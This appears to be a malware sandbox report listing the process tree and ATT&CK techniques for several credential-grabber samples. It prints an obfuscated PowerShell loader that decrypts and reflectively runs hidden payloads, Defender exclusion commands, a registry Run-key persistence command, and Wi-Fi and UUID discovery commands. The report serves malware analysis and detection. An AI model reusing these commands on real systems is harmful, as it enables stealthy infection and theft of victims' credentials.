- System Location Discovery: System Language Discovery
PID:5396
- C:\Users\Admin\AppData\Local\Programs\Python\Python313\pythonw.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python313\pythonw.exe "C:\Users\Admin\AppData\Local\Temp\Temp1_Luna-Grabber-V3-main.zip\Luna-Grabber-V3-main\builder.pyw"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4208

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:2352

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Temp1_Luna-Grabber-V3-main.zip\Luna-Grabber-V3-main\setup.bat" "
1⤵
PID:3512
- C:\Windows\system32\net.exe
  net file
  2⤵
  PID:3216
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('i4vSoXCEtQ37PNNOx8z5sO/wltKpK2oVbiHWrLx6E6s='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R8I1hTiXQxSbILqNOs5ldQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SgtCw=New-Object System.IO.MemoryStream(,$param_var); $AJtSO=New-Object System.IO.MemoryStream; $lunMv=New-Object System.IO.Compression.GZipStream($SgtCw, [IO.Compression.CompressionMode]::Decompress); $lunMv.CopyTo($AJtSO); $lunMv.Dispose(); $SgtCw.Dispose(); $AJtSO.Dispose(); $AJtSO.ToArray();}function execute_function($param_var,$param2_var){ $cbihh=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qMawP=$cbihh.EntryPoint; $qMawP.Invoke($null, $param2_var);}$Fuaqw = 'C:\Users\Admin\AppData\Local\Temp\Temp1_Luna-Grabber-V3-main.zip\Luna-Grabber-V3-main\setup.bat';$host.UI.RawUI.WindowTitle = $Fuaqw;$gItfV=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Fuaqw).Split([Environment]::NewLine);foreach ($ZTWyH in $gItfV) { if ($ZTWyH.StartsWith(':: ')) { $Tracn=$ZTWyH.Substring(3); break; }}$payloads_var=[string[]]$Tracn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5512
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C powershell Add-MpPreference -ExclusionPath 'C:\Users\%USERNAME%\AppData'
    3⤵
    PID:5532
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1728

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Temp1_Luna-Grabber-V3-main.zip\Luna-Grabber-V3-main\setup.bat" "
1⤵
PID:4288
- C:\Windows\system32\net.exe
  net file
  2⤵
  PID:6044
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('i4vSoXCEtQ37PNNOx8z5sO/wltKpK2oVbiHWrLx6E6s='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R8I1hTiXQxSbILqNOs5ldQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SgtCw=New-Object System.IO.MemoryStream(,$param_var); $AJtSO=New-Object System.IO.MemoryStream; $lunMv=New-Object System.IO.Compression.GZipStream($SgtCw, [IO.Compression.CompressionMode]::Decompress); $lunMv.CopyTo($AJtSO); $lunMv.Dispose(); $SgtCw.Dispose(); $AJtSO.Dispose(); $AJtSO.ToArray();}function execute_function($param_var,$param2_var){ $cbihh=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qMawP=$cbihh.EntryPoint; $qMawP.Invoke($null, $param2_var);}$Fuaqw = 'C:\Users\Admin\AppData\Local\Temp\Temp1_Luna-Grabber-V3-main.zip\Luna-Grabber-V3-main\setup.bat';$host.UI.RawUI.WindowTitle = $Fuaqw;$gItfV=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Fuaqw).Split([Environment]::NewLine);foreach ($ZTWyH in $gItfV) { if ($ZTWyH.StartsWith(':: ')) { $Tracn=$ZTWyH.Substring(3); break; }}$payloads_var=[string[]]$Tracn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1260
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C powershell Add-MpPreference -ExclusionPath 'C:\Users\%USERNAME%\AppData'
    3⤵
    PID:2612
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1168
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ewq.bat"
    3⤵
    PID:5792

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:2912

C:\Users\Admin\AppData\Local\Temp\Temp1_Mercurial.Grabber.v1.03 (extract.me).zip\Mercurial Grabber.v1.03\Mercurial.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_Mercurial.Grabber.v1.03 (extract.me).zip\Mercurial Grabber.v1.03\Mercurial.exe"
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Maps connected drives based on registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
PID:3080

C:\Users\Admin\AppData\Local\Temp\Temp1_Mercurial.Grabber.v1.03 (extract.me).zip\Mercurial Grabber.v1.03\Mercurial.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_Mercurial.Grabber.v1.03 (extract.me).zip\Mercurial Grabber.v1.03\Mercurial.exe"
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Maps connected drives based on registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
PID:1712

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Temp1_Image-clicker-logger-main.zip\Image-clicker-logger-main\install_python.bat" "
1⤵
PID:2324
- C:\Windows\system32\curl.exe
  curl -L -O https://www.python.org/ftp/python/3.10.5/python-3.10.5-amd64.exe
  2⤵
  - Downloads MZ/PE file
  - Drops file in System32 directory
  PID:3948

C:\Users\Admin\AppData\Local\Temp\Temp1_Image-clicker-logger-main.zip\Image-clicker-logger-main\Arctic.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_Image-clicker-logger-main.zip\Image-clicker-logger-main\Arctic.exe"
1⤵
PID:2464
- C:\Users\Admin\AppData\Local\Temp\Temp1_Image-clicker-logger-main.zip\Image-clicker-logger-main\Arctic.exe
  "C:\Users\Admin\AppData\Local\Temp\Temp1_Image-clicker-logger-main.zip\Image-clicker-logger-main\Arctic.exe"
  2⤵
  - Loads dropped DLL
  PID:4576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:5988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
    3⤵
    PID:1132
  - - C:\Windows\System32\wbem\WMIC.exe
      C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
      4⤵
      PID:3496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /f"
    3⤵
    PID:2552
  - - C:\Windows\system32\reg.exe
      reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /f
      4⤵
      Modifies registry key
      PID:5376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /t REG_SZ /d C:\Users\Admin\AppData\Roaming\empyrean\run.bat /f"
    3⤵
    PID:3380
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /t REG_SZ /d C:\Users\Admin\AppData\Roaming\empyrean\run.bat /f
      4⤵
      Modifies registry key
      PID:5124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
    3⤵
    PID:680
  - - C:\Windows\System32\wbem\WMIC.exe
      C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
      4⤵
      PID:2820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
    3⤵
    PID:4436
  - - C:\Windows\System32\wbem\WMIC.exe
      C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
      4⤵
      PID:5460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
    3⤵
    PID:1728
  - - C:\Windows\System32\wbem\WMIC.exe
      C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
      4⤵
      PID:5900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2400
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:6124
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1324
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Virtualization/Sandbox Evasion